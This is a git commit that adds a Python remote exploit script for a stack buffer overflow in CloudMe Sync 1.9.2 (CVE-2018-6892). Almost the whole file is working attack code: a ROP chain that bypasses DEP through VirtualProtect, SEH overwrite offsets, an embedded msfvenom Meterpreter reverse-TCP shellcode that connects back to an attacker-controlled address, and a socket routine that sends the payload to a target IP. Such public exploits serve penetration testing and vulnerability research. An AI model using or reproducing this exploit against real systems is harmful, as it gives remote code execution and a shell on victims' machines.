added CloudMe Sync exploit

2026-06-08 12:50:18 +00:00 · 2020-06-29 16:27:13 +02:00
parent 03a346ccb2
commit 67900abc74
4 changed files with 126 additions and 0 deletions
@@ -0,0 +1,126 @@
+"""
+Exploit title:      CloudMe Sync 1.9.2 - Stack Buffer Overflow (SEH,DEP,ASLR bypass)
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Date:               29/06/2020
+Vendor Homepage:    https://org.cloudme.com/
+Download:           https://org.cloudme.com/en/sync
+Affected Version:   < 1.11.0
+CVE:                CVE-2018-6892
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.418
+Category:           remote exploits
+Platform:           windows
+Usage:              CloudMe_Sync_v.1.9.2.py TARGET_IP 8888
+"""
+#!/usr/bin/python
+import sys, socket, time, struct, argparse
+
+parser = argparse.ArgumentParser(prog="CloudMe_Sync_v.1.9.2.py", description="CloudMe Sync < 1.11.0 RCE exploit")
+parser.add_argument("-t", "--target", required=True, dest="target", help="Target IP Address")
+parser.add_argument("-p", "--port", default=8888, type=int, dest="port", help="Target TCP Port")
+args = parser.parse_args() 
+
+host = args.target
+port = args.port
+
+print("CloudMe Sync < 1.11.0 RCE exploit by VoidSec")
+
+# |                                                             buf(2928)                                                          |
+# | filler(1068) | ROP Chain(68)| stack_adj(6) | shellcode(344) | filler(1434) | nSEH(4) | SEH(4) | can append data here if needed |
+
+# BAD CHARS: None!
+# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -f python -v shellcode
+shellcode =  b""
+shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
+shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
+shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
+shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
+shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
+shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
+shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
+shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
+shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
+shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
+shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
+shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
+shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
+shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89"
+shellcode += b"\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
+shellcode += b"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68"
+shellcode += b"\xc0\xa8\xce\x01\x68\x02\x00\x11\x5c\x89\xe6"
+shellcode += b"\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
+shellcode += b"\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99"
+shellcode += b"\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e"
+shellcode += b"\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a"
+shellcode += b"\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
+shellcode += b"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
+shellcode += b"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff"
+shellcode += b"\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
+shellcode += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
+shellcode += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f"
+shellcode += b"\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5"
+shellcode += b"\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff"
+shellcode += b"\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
+shellcode += b"\xc3\xbb\xfe\x0e\x32\xea\x6a\x00\x53\xff\xd5"
+shellcode += b"\x6a\x00\xc3"
+
+buf_max_size = 2928
+stack_pivot_ret = 1052
+rop_offset = 1068
+seh_offset = 2920
+
+buf = ""
+buf += "A" * stack_pivot_ret # filler until we populate stack pivot ret
+buf += struct.pack("<I", 0x005f7b0c) # POP EAX # RETN [CloudMe.exe]
+buf += "A" * (rop_offset-len(buf))
+def create_rop_chain():
+
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets = [
+      #[---INFO:gadgets_to_set_esi:---]
+      #0x005f7b0c,  # POP EAX # RETN [CloudMe.exe] 
+      0x68c848d8,  # ptr to &VirtualProtect() [IAT Qt5Core.dll]
+      0x006f8f95,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [CloudMe.exe] 
+      0x67516e4e,  # XCHG EAX,ESI # RETN [icuuc49.dll] 
+      #[---INFO:gadgets_to_set_ebp:---]
+      0x6198365a,  # POP EBP # RETN [Qt5Gui.dll] 
+      0x688bfbdd,  # & call esp [Qt5Core.dll]
+      #[---INFO:gadgets_to_set_ebx:---]
+      0x69785753,  # POP EBX # RETN [Qt5Network.dll] 
+      0x00000201,  # 0x00000201-> ebx
+      #[---INFO:gadgets_to_set_edx:---]
+      0x68abec04,  # POP EDX # RETN [Qt5Core.dll] 
+      0x00000040,  # 0x00000040-> edx
+      #[---INFO:gadgets_to_set_ecx:---]
+      0x10069439,  # POP ECX # RETN [LIBEAY32.dll] 
+      0x61c7d98e,  # &Writable location [Qt5Gui.dll]
+      #[---INFO:gadgets_to_set_edi:---]
+      0x68a9609b,  # POP EDI # RETN [Qt5Core.dll] 
+      0x1008df82,  # RETN (ROP NOP) [LIBEAY32.dll]
+      #[---INFO:gadgets_to_set_eax:---]
+      0x1006b18b,  # POP EAX # RETN [LIBEAY32.dll] 
+      0x90909090,  # nop
+      #[---INFO:pushad:---]
+      0x68890db5,  # PUSHAD # RETN [Qt5Core.dll] 
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+buf += create_rop_chain()
+buf += "\x81\xc4\x24\xfa\xff\xff"   # stack adjustment for meterpreter GetPC routine; add esp, -1500
+buf += shellcode
+buf += "D" * (seh_offset-len(buf))
+buf += "CCCC"   # nSEH
+buf += struct.pack("<I", 0x61af5d3e)   
+# 0x61b89104 : {pivot 1468 / 0x5bc} :  # ADD ESP,5AC # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [Qt5Gui.dll] **   |   {PAGE_EXECUTE_READ}
+# A ret 0x000C will remove three memory addresses off of the stack. First, the return instruction takes the current stack pointer at the time of the ret 0x000C instruction (which would be the next ROP gadget in the chain) and loads it into EIP. EIP then executes that address as normally.
+
+# SEH 0x67569e50 : pop eax # pop edi # ret  |  {PAGE_EXECUTE_READ} [icuuc49.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\CloudMe\CloudMe\icuuc49.dll)
+# ESP exception handler: 00BCCA40
+# buff on stack: 00BCCFC0
+# stackpivot h 580 - d 1408
+
+buf += "D" * (buf_max_size - len(buf))
+
+client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+client.connect((host, port))
+print("[+] Sending the exploit: {} bytes".format(len(buf)))
+client.send(buf)
+client.close()